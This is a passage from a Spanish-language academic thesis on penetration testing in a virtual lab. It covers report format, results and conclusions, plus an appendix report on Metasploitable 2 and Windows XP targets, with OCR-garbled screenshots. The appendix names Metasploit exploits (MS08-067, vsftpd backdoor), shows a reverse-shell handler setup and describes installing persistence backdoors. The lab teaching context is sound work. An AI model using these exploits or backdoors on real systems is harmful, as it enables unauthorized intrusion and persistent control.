4.3.5.2 Formato del reporte

Escribir un buen informe de la prueba de intrusién es un arte que requiere de mucha
practica para dominar debido a que el penetration tester se debe asegurar que el
reporte dé a conocer el mensaje correcto a la persona correcta.

El formato de un reporte puede ser muy diverso (figuras 78 y 79), pero también se
puede definir un formato genérico para redactarlo. Una estructura comdn para los
informes de pruebas de intrusién es incluir un resumen ejecutivo y un reporte técnico

como el ejemplo mostrado en la figura 78 [20].

r = |
Contents
1  EXECUTIVE SUMMARY ..oiaiiiriirniininmsnssinsnmasrasrasrsnramrassnssnssnsnsnanns 4
> 1.1 SURMARY .. e d
Penetration Testing Report 1.1.1 Appmch e F
1 . 3 1.2 SCOPE .. e 3
# 1.3 Kev Finomes... O UPURPRRN -
1 1.3.1 insuffrcrent Authentrcatian rrasas ruas vea B
1.3.2  Impreper Input Filtration . . b
1.3.3  Administrater login and Use.rname Enumemtfon -
1.4 RECOMMENDATIONS .. . P
1.4.1  Tactical Recommendacrons e 8
For 1.4.2  Strategic Recammendahons R
1.5 TaBuLAR SUMMARY . 10
1.6 GRAPHICAL Sunmn'f P TPTTPTSPO | |
From 1.6.1 COverall Risk Charl S |, |
2 TECHHNICAL REPORT .ivuvimunranasnnssnsssmasnsrassnssimsnionssnssnsansssrassansans 12
:‘”, 2.1 NETWORK SECURITY . e 12
lconuliing com 2.1.1  Port Scan Slatus .12
2.1.2  Service Banner Dlsc!asure wid
2.2 WEB APPLICATION VULHERABILITIES .. o D oy . [—— | |
iiii W Yo AT SO INITETON 1 M T 6 Corhdereu B priviagel
e s i T . S, S T 2o 3 CONCLUSION oveicneeaensesseeens e sennes semsansseeseessesaneenessessnssnsens 21

o b e R Confwpation: v M5, F P 407 s e idmeded recoeeet by ey
it oy s, gy, o dofribagion of the contants o s decement b ol

T 1 o o 1 . 22
B o 11 5 e P

Figura 78. Ejemplo de formato de reporte de NIl Consulting
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Figura 79. Ejemplo de reporte de Offensive security

a) Resumen ejecutivo

El resumen ejecutivo debe ser un
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resumen muy breve de sus principales

conclusiones. Este elemento no debe ser mayor a dos paginas y solamente debe

incluir los aspectos mas destacados de la prueba de intrusion. El resumen ejecutivo

no proporciona detalles técnicos o terminologia debido a que va dirigido a las

personas de la empresa que no poseen conocimientos técnicos como los ejecutivos a

cargo del programa de seguridad, para que puedan entender las conclusiones y

posibles preocupaciones importantes que se hayan descubierto en la red y en los

sistemas.
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Si se descubrieron vulnerabilidades y exploits, el resumen ejecutivo debe centrarse en
explicar cdmo estos resultados impactan en el negocio.

El resumen debe ser escrito de tal manera que cualquier persona que lea el informe
sea capaz de entender lo que ocurrié durante la prueba de intrusion y cuéles fueron

los principales hallazgos [5].

b) Reporte técnico

Esta seccion del informe incluye una lista completa de los resultados obtenidos, asi
como los detalles técnicos de cada una de las etapas de la prueba. La audiencia de
este informe incluye a los administradores de TI, expertos en seguridad,
administradores de red y todas aquellas personas que poseen las habilidades y
conocimientos necesarios para leer y comprender su naturaleza técnica. En la
mayoria de los casos, este informe sera utilizado por el personal técnico para
entender los problemas y detalles descubiertos durante la prueba y saber como
abordar o solucionar estos problemas [5].

El reporte correspondiente a las pruebas de intrusion realizadas al laboratorio virtual

se presenta en extenso en el Apéndice A.
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4.4 Andlisis de resultados

En este trabajo recepcional se implementd un laboratorio virtual para la realizacion de
pruebas de intrusidbn en una computadora portatil Sony VAIO con procesador Intel
Core 2 Duo, frecuencia de Reloj de 2.53 GHz, 4 GB de memoria RAM y con Windows
Vista Home Premium como sistema operativo. El proceso de intrusion efectuado
incluye las fases de escaneo para la deteccion y el analisis de puertos abiertos y
vulnerabilidades presentes en los equipos que componen el laboratorio virtual, la
explotacion de las vulnerabilidades detectadas, la post explotacion o preservacion del
acceso en las maquinas virtuales comprometidas y el reporte de los datos obtenidos
durante la prueba de intrusion. Durante el escaneo se detectaron 49 vulnerabilidades
de las cuales 12 tienen un nivel de severidad critico, presentes en dos de los sistemas
gue no cuentan con antivirus ni firewall como medidas defensivas. Durante la fase de
explotacién se pudieron comprometer los dos equipos antes mencionados mediante
la obtencion de seis sesiones que permitieron interactuar con los sistemas
comprometidos. Durante la fase de preservacion del acceso se logré instalar una
puerta trasera en la maquina con sistema operativo Windows XP y otra mas en el
servidor Linux, ademéas de que se descubrieron en el mismo tres puertas traseras las
cuales son parte del codigo malicioso oculto en las aplicaciones instaladas.

Los resultados obtenidos gracias a la implementacion del laboratorio virtual
demuestran que no contar con un modelo de defensa en profundidad, usar
contrasefias inseguras y contar con software obsoleto, ya sean sistemas operativos
sin soporte o aplicaciones con versiones antiguas sin actualizar, incrementa
considerablemente el riesgo de explotacion y compromiso en dichos sistemas, lo que
puede dar como resultado la violacién a los principios basicos de la seguridad de la

informacion.
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Conclusiones

De acuerdo a lo expuesto en el presente trabajo, el laboratorio virtual permite
obtener informacion relevante acerca de los sistemas que lo componen, lo cual
demuestra la realizacion correcta de pruebas de intrusién, especificamente las
proporcionadas por Kali Linux usando la metodologia estandar para el desarrollo de
dichas pruebas; ademas se pudo implementar adecuadamente una red virtual de
computadoras sin tener que invertir en la compra de software o hardware costoso,

con lo cual se alcanzaron satisfactoriamente los objetivos propuestos.

En cuanto al desempefio del laboratorio virtual, se pudo observar que se consumen
mas recursos de memoria y de procesamiento de la computadora al realizar el
escaneo de vulnerabilidades con la herramienta OpenVAS comparada con la
herramienta Nessus la cual permite realizar el escaneo en menos tiempo y en todas
las maquinas virtuales ejecutandose al mismo tiempo. Lo mismo sucede cuando se
realiza la explotacion de vulnerabilidades usando la herramienta Armitage, se
consumen bastantes recursos de memoria y de procesamiento de la computadora lo
que hace que el laboratorio virtual se vuelva lento cuando estan funcionando todas
las maquinas virtuales a la vez. El inconveniente anterior se soluciona incrementando
el tamafio de memoria de la maquina virtual del atacante, realizando la prueba de
intrusion solamente a la maquina objetivo de interés y apagando las demas.

Se recomienda implementar un laboratorio virtual a todas aquellas personas que
requieran saber como es que se pueden comprometer los sistemas pero sin afectar
los sistemas de terceros, principalmente sin la intensién de cometer actos delictivos y
con el objetivo de ampliar el conocimiento que poseen en el area de la seguridad de

la informacion.
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Trabajo futuro

De acuerdo con la experiencia obtenida en la realizacién de este trabajo, pueden
identificarse diferentes areas de oportunidad las cuales serviran en el futuro para
mejorar mis niveles de destreza y habilidad en la realizacion de pruebas de intrusion
sobre sistemas reales mas complejos y con el uso del laboratorio virtual. Por
mencionar algunas, queda pendiente la creacion de exploits para la fase de
explotacion, los cuales consisten en funciones de codigo con un alto nivel de
programacion. Ademas, se puede realizar el analisis de aplicaciones a nivel de codigo
mediante ingenieria inversa, el andlisis de trafico en la red del laboratorio y la
ejecucion de ataques de fuerza bruta sobre servicios que se autentiquen via nombre
de usuario/contrasefia con las herramientas con las que cuenta la distribucion Kali
Linux.

También queda pendiente la instalacién de rootkits para mantener el acceso, utilizar
las herramientas adecuadas para crear troyanos, codificar y cifrar payloads para
analizar la evasion de antivirus y realizar ataques de ingenieria social. Por otro lado
queda pendiente utilizar el laboratorio virtual para realizar pruebas de intrusion

orientadas especificamente a las aplicaciones web.



Apéndice A

Reporte de las pruebas de intrusion usando el laboratorio virtual

Resumen ejecutivo

Este documento detalla los resultados de las pruebas de intrusion ejecutadas para
evaluar la seguridad del laboratorio virtual. El propoésito de la evaluacion fue analizar
las fortalezas y areas de oportunidad existentes en la configuraciéon actual de los
sistemas que operan en la infraestructura del laboratorio. Especificamente, las
acciones realizadas tuvieron como objetivo identificar y explotar potenciales
debilidades que pudieran poner en riesgo los activos de informacién presentes en la

infraestructura.

a) Alcance del trabajo
El alcance de las pruebas de intrusion fueron limitadas al rango de direcciones IP de
la red del laboratorio virtual 192.168.56.0/24. La evaluacion fue realizada desde una
perspectiva de caja gris debido a que se contaba con informacidn sobre la red, pero

no se contaba con informacion detallada sobre los equipos.

b) Resumen de resultados
La tabla 4 y la grafica de la figura 80 resumen el andlisis de las vulnerabilidades

descubiertas en la red del laboratorio virtual.

Nivel de severidad vulnerabilidades

9

Media 22

Alta 6
I
Total 49

Tabla 4. Resumen de vulnerabilidades
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Vulnerabilidad total

media
45%

d

Figura 80. Vulnerabilidades totales descubiertas en los equipos

e Debido a la falta de cortafuegos, se pudieron comprometer dos de los equipos
que componen el laboratorio virtual analizado, dando la posibilidad de robar,
modificar o incluso destruir la informacion que contienen.

e Mientras se realizaba la explotacion de los sistemas se descubrié que los
equipos comprometidos pueden ser manipulados de tal manera que éstos
pueden ser reconfigurados, apagados o reiniciados por el atacante en

cualquier momento comprometiendo la disponibilidad de los mismos.

c) Resumen de recomendaciones
De los resultados obtenidos durante la prueba, se recomienda adoptar un modelo de
defensa en profundidad donde la red del laboratorio virtual utilice una gran variedad
de herramientas, sistemas y procesos de seguridad para proteger los activos.
También se recomienda:

e Desplegar HIPS (Sistemas de prevencion de intrusiones a nivel de host) en
servidores y equipos de computo personales, también habilitar los cortafuegos
personales en los equipos (como Microsoft Windows firewall).

e Implementar un sistema de administracién de seguridad para proveer control

centralizado sobre la solucion de fallas y actualizaciones para todos los
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sistemas, con el fin de minimizar gastos generales en operaciones y elevar la
resistencia de la seguridad.

e Realizar analisis de vulnerabilidades al menos dos veces al afio y pruebas de
intrusion al menos una vez al afno.

e Desarrollar e implementar un plan de entrenamiento para el equipo de TICs y

politicas de seguridad de la informacion.

Reporte técnico

a) Escaneo de la red
Durante el escaneo ejecutado sobre el laboratorio virtual con rango de direcciones IP
de red 192.168.56.0/24 se descubrieron 5 equipos los cuales se muestran en la

topologia de red de la figura 81.

r = |

152.168.56.102

F192.16286.10

Fisz.162.56.100

ar

@152 168.56.

152.168.56.1

Figura 81. Topologia de la red analizada
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b) Escaneo de puertos

Para cada host identificado se descubrié la siguiente informacion.

Direccion IP 192.168.56.1
m Metasploitable 2 (servidor Linux 2.6.24)
NuUmero de puerto Protocolo  servicio Version del servicio

21 tcp ftp Vsftpd 2.3.4

22 tcp ssh OpenSSH 4.7p1 Debian 8 ubuntul (protocolo 2.0)
23 tcp telnet Linux telnet

25 tcp smtp Postfix smtp

80 tcp http Apache httpd 2.2.8 ((Ubuntu)DAV/2)
139 tcp Netbios-ssn Samba smbd 3.X (workgroup:WORKGROUP)

2121 tcp ftp ProFTPD 1.3.1

3306 tcp mysq|l MySQL 5.0.51a-3ubuntu5

5432 tcp postgresq|l PostgreSQL DB 8.3.0-8.3.7

5900 tcp vnc VNC (protocol 3.3)

8009 tcp Ajp13 Apache Jserv (Protocol v1.3)

8180 tcp http Apache Tomcat/CoyoteJSP engine 1.1
53 udp domain ISC BIND 9.4.2

Tabla 5. Informacion descubierta en el equipo con direccion IP 192.168.56.1

Direccion IP 192.168.56.2

Sistema operativo Kali linux

NUamero de puerto Protocolo servicio | Version del servicio

No se descubrieron puertos abiertos en el sistema

Tabla 6. Informacién descubierta en el equipo con direccién IP 192.168.56.2

Direccién IP 192.168.56.10

Sistema operativo Windows vista

NUamero de puerto Protocolo servicio | Version del servicio

No se descubrieron puertos abiertos en el sistema

Tabla 7. Informacién descubierta en el equipo con direccién IP 192.168.56.10
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Direccion IP 192.168.56.100

Sistema operativo Servidor DHCP (de VirtualBox)

Ndamero de puerto Protocolo servicio | Version del servicio

No se descubrieron puertos abiertos en el sistema

Tabla 8. Informacién descubierta en el equipo con direccién IP 192.168.56.100

Direccion IP 192.168.56.102

Sistema operativo Windows XP

Ndamero de puerto Protocolo servicio Versién del servicio

135 tep msrpc Microsoft Windows RPC

139 tep Netbios - ssn

445 tep Microsoft - ds | Microsoft Windows XP Microsoft - ds
31337 tep tcpwrapped

161 udp snmp SNMPv1 server (public)

Tabla 9. Informacién descubierta en el equipo con direccién IP 192.168.56.102

c) Anélisis
Se observo que en el equipo con SO Windows Vista, el firewall de Windows bloquea o
no responde al escaneo de puertos por lo que usar firewalls en cada equipo de la red
es una medida de seguridad muy recomendable a tomar en cuenta para evitar la
deteccion de puertos abiertos en los sistemas. También se recomienda configurar los
sistemas de manera que rechacen o bloqueen las solicitudes ping (/CMP - echo

request) para reducir los intentos de reconocimiento.
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d) Vulnerabilidades o puntos débiles en los sistemas
La siguiente tabla da a conocer las vulnerabilidades descubiertas en cada uno de los

equipos del laboratorio virtual.

VULNERABILIDADES

Red Laboratorio virtual severidad
Direccién IP Sistema operativo
192.168.56.1 Metasploitable 2 7 4 19 6 36
(linux)

192.168.56.2 Kali linux 0 0 1 0 1

192.168.56.10 Windows vista 0 0 0 0 0

192.168.56.100 | Servidor DHCP de VirtualBox 0 0 0 1 1

192.168.56.102 Windows XP 5 2 2 2 11
total 12 6 22 9 49

Tabla 10. Vulnerabilidades descubiertas en cada equipo del laboratorio



Direccion IP: 192.168.56.1

Severity Plugin id

s
' Medium (6.4) 11356
| Medium (6.5 L
 Medium (6.4) 57582
.. 47953
 Medium (5.0 10079
| Medium (5.0 | 10203

15901

MName
Samba NDR MS-RPC Request Heap-Bazed Remote Buffer Overflow

Debian CpenSSH/IOpenS5L0L Package Random Mumber Generator
Weakness

Unsupported Unix Operating System

Apache Tomeat Manager Common Administrative Credentials
Reogue Shell Backdoor Detection

vsftpd Smiley Face Backdoor

VMC Server ‘password’ Password

riogin Senvice Detection

MySOL Unpassworded Account Check

Unsupported Web Server Detection

Microsoft Windows SMB Shares Unprivileged Access
MFS Exported Share Information Disclosure

S5L Cerfificate Cannot Be Trusted

S5L Self-Signed Certificats

Unencrypted Telnet Server

Anonymoug FTP Enabled

rexecd Service Detection

SSL Certificate Expiry

Figura 82. Vulnerabilidades descubiertas en el host 192.168.56.1
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20007 551 Wersion 2 and 3 Protocol Detection

42356 MFS Shares World Readable

45411 551 Certificate with Wrong Hostname

57608 SME Signing Required

81606 S5UTLS EXPORT_RSA == 512-bit Cipher Suites Suppoarted (FREAK)

11213 HTTP TRACE ! TRACK Methods Allowsd

26928 550 Weak Cipher Suites Supported

42873 551 Medium Strength Cipher Suites Supported

57792 Apache HTTP Server httpOnly Cookie Information Disclosure

65821 S50 RC4 Cipher Suites Supporied

TB479 55Lv3 Padding Cracle On Downgraded Legacy Encryption “ulnerability
(POODLE}

52611 SMTP Service STARTTLS Plaintext Command Injection

10407 X Senver Detection

3MT0o 551 Anonymous Cipher Suites Supporied

34324 FTP Supports Clear Text Authentication

70658 55H Server CBC Mode Ciphers Enabled

71049 S5H Weak MAC Algorithms Enabled

Figura 83. Vulnerabilidades descubiertas en el host 192.168.56.1 (continuacion)

Direccion IP: 192.168.56.2

Sewverity Flugim Id MHame

1182 S5L Cenificate Cannot Be Trusted

Figura 84. Vulnerabilidades descubiertas en el host 192.168.56.2



Direccion IP: 192.168.56.100

Severity

Low (3.3) 10883

Plugin Id Name
DHCP Server Detection

Messus Scan Information

Figura 85. Vulnerabilidades descubiertas en el host 192.168.56.100

Direcciéon IP: 192.168.56.102

Severity

Critical (10.0)

Critical (10.0)

Critical (10.0)

Critical (10.0)

Critical (10.0)

High (7.5)

High (7.5)

Low (3.3)

Low

Plugin Id

18502

22194

34477

32362

73182

22034

41028
26920
57608
11197

10547

Name

MS05-027: Vulnerability in SMB Could Allow Remote Code Execution
(896422) (uncredentialed check)

MS06-040: Vulnerability in Server Service Could Allow Remote Code
Execution (921883) (uncredentialed check)

MS08-067: Microsoft Windows Server Service Crafted RPC Request
Handling Remote Code Execution (958644} (uncredentialed check)

MS09-001: Microsoft Windows SMB Vulnerabilities Remote Code
Execution (958687) (uncredentialed check)

Microsoft Windows XP Unsupported Installation Detection

MS06-035: Vulnerability in Server Service Could Allow Remote Code
Execution (917159) (uncredentialed check)

SNMP Agent Default Community Name (public)

Microsoft Windows SMB NULL Session Authentication

SMB Signing Required

Multiple Ethemet Driver Frame Padding Information Disclosure (Etherleak)

Microsoft Windows LAN Manager SNMP LanMan Services Disclosure

Figura 86. Vulnerabilidades descubiertas en el host 192.168.56.102
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e) Recomendaciones

Vulnerabilidad Sistema operativo Linux sin soporte

Descripcion De acuerdo con la version, el sistema operativo es obsoleto debido a que ya

no tiene soporte por parte de sus desarrolladores.

Solucién Actualizar a una version mas reciente.
Severidad Critica.
Puerto/protocolo

Tabla 11. Recomendacion para el SO sin soporte.

Vulnerabilidad vsftpd Smiley Face Backdoor

La version de vsftpd en funcionamiento en el sistema remoto ha sido
compilada con una puerta trasera. Al intentar autenticarse con un nombre de
usuario conteniendo un :) (Carita sonriente) ejecuta una puerta trasera, el
Descripcion cual genera una shell atendiendo en el puerto TCP 6200. La shell detiene su
atencion después de que el cliente se conecta y desconecta.

Un atacante remoto sin autenticacion puede explotar esta vulnerabilidad para

ejecutar cédigo arbitrario como root.

Solucioén Validar y recompilar una copia legitima del cédigo fuente.

Severidad Critica.

Puerto/protocolo | 21/tcp

Tabla 12. Recomendacion para la vulnerabilidad vsftpd Smiley Face Backdoor

Vulnerabilidad Servidor telnet sin cifrado de datos
descripcion El servidor remoto telnet transmite trafico en texto plano
Solucién Deshabilitar el servicio telnet y usar SSH en su lugar
Severidad Media.

Puerto/protocolo 23/tcp

Tabla 13. Recomendacion para la vulnerabilidad del servidor telnet
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Vulnerabilidad Microsoft Windos XP Sistema operativo sin soporte

Descripcion El sistema operativo es obsoleto debido a que ya no tiene soporte por parte

de Microsoft. Esto significa que no hay nuevos parches de seguridad

Solucion Actualizar a una versién mas reciente de Windows que tenga soporte.
Severidad Critica.
Puerto/protocolo

Tabla 14. Recomendacion para el Sistema operativo Windows XP

Vulnerabilidad MS08-067: Microsoft Windows Server Service Crafted RPC Request

Handling Remote Code Execution (958644) (uncredentialed check)

Descripcion El host remoto es vulnerable a un buffer overrun en el servicio ‘Server’ que
puede permitir a un atacante ejecutar codigo en el host remoto con

privilegios de ‘sistema’.

Solucion Instalar los parches de seguridad. Microsoft ha publicado un conjunto de
parches para Windows 2000, XP, 2003, Vista y 2008.

Severidad Critica.

Puerto/protocolo | 445/tcp

Tabla 15. Recomendacion para la vulnerabilidad MS08-067 en Windows XP

f) Resultados de la explotacion de los sistemas
Durante la fase de explotacion de los sistemas se pudieron comprometer los dos
equipos que presentaron vulnerabilidades.
En las figuras 87 y 88, se muestran los resultados obtenidos. En las capturas de
pantalla se pueden observar detalles de la explotacibn como las direcciones IP y
puertos de los equipos del atacante y de la victima, los exploits que se utilizaron para
explotar las vulnerabilidades descubiertas y los tipos de accesos o sesiones obtenidos

en cada equipo.
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* (B auxliary
> EEEHMOH
* (B payload
» (B post

- -

|'TQ?TIEHISE[I':

[ Console )(T nmap X I Hail Mary X]

Information
Connection
via PayloadId

shell php

-= 192,168.56.1:31081 (192.168.
exploit/multi/http/php_cgi_arg_injection

2 meterpreter java/java root @ metasploitable
-= 192,168.56.1:22530 (192,168.56.1)
exploit/multi/misc/java_mmi_server

3  shell unix 192, 168.56.2:52410
-> 192,168.56.1:6200 (192,168.56.1)
exploit/unix/ftp/vsttpd_234 backdoor

4  shell unix 192, 168,56, 2: 9668
-> 192,168,56.1:48903 (192,168.56.1)
exploit/multi/sambafusermap_script

5 shell unix 192, 168.56.2: 21048
msf =

Figura 87. Detalles de explotacion del servidor metasploitable2 usando Armitage

En el servidor Linux con direccion IP 192.168.56.1 se obtuvieron en total 5 sesiones

de las cuales:

Se obtuvieron 4 sesiones en el sistema mediante shell unix 'y shell php los
cuales permiten interactuar con el sistema, dando la posibilidad de subir
archivos al servidor, también eliminar y modificar archivos.

Se obtuvo una sesion en el sistema mediante el meterpreter shell el cual
permite interactuar con el sistema dando la posibilidad de abrir un command
shell, buscar archivos, mostrar procesos, terminar procesos y tomar capturas

de pantalla.
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> [ auxiliary
» (&5 exploit
» [ payload
= post

P

[ Console XT nmap X T Hail Mary X]

Information

PayloadId

meterpreter x86/win32 NT AUTHORITY\SYSTEM @ XPVIRTUAL
192.168.56.2:39189 -> 192, 168.56.102:18914 (192.168.56,102)
exploit/windows/smb/ms08 067 netapi

msf =

Figura 88. Detalles de explotacion del equipo con Windows XP usando Armitage

En el equipo con sistema operativo Windows XP con direccion IP 192.168.56.102 se
gand una sesion en el sistema mediante el meterpreter shell el cual permite
interactuar con el sistema dando la posibilidad de abrir un command shell, desktop
VNC, volcar el contenido de la base de datos de las contrasefias de los usuarios del
equipo, buscar archivos, subir archivos, mostrar procesos, terminar procesos, tomar
capturas de pantalla, tomar capturas y video con la webcam, grabar audio con el

micréfono, capturar informacion digitada con el teclado.

g) Preservacion del acceso
Durante esta fase de la prueba de intrusion en el equipo con sistema operativo
Windows XP se logré instalar la puerta trasera persistence con la ayuda del
meterpreter shell , dicha puerta trasera establece conexion con el puerto 12345 del

equipo atacante.
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En el sevidor Linux se pudo instalar una puerta trasera la cual se comunica con el
puerto 1234 de la maquina atacante, también se descubrieron tres puertas traseras
en los puertos 6200, 6667, y 1524, las cuales son parte del codigo malicioso oculto
en las aplicaciones instaladas.

La figura 89 muestra el reingreso a la maquina previamente comprometida y la
sesion obtenida como resultado de la exitosa instalacion de la puerta trasera en el
servidor Linux y la instalacion del Aandler en la maquina del atacante mediante el uso

de Armitage.

Armitage - | O

Armitage View Hosts Aftacks Workspaces Help

b BT awdliary || | ;
* (&5 exploit :
* (B payload
> [ post

Interact
Upload...
| Pass Session
I msf > use exploit/multi/shandler Post Modules
msf exploit(ha :r) = set LHOSTR O o v
LHOST == 0.0.0.0

msT exploit(hand

LPORT == 1234

msf exploit(handler) = set PAYLOAD generic/shell_reverse_tcp
PAYLOAD => generic/shell reverse tcp

msf exploit(handler) = set ExitOnSession false

ExitOnSession == false

msf exploit(handler) = exploit -j

[*] Exploit running as background job.

[*] Started reverse handler on 0.0.0,0:1234

[*#] Starting the payload handler...

-~

Disconnect

msf exploit(handler) >

Figura 89. Preservacién del acceso en el servidor Linux

h) Conclusion
Durante la prueba de intrusion fue posible obtener control total sobre dos de los
activos del laboratorio virtual, esto da a un atacante la posibilidad de comprometer la
confidencialidad, integridad y la disponibilidad de los equipos y la informacién que
contienen.
Se concluye que la seguridad en general necesita ser mejorada. Se espera que las

fallas descubiertas y citadas en este reporte sean solucionadas lo mas pronto posible.
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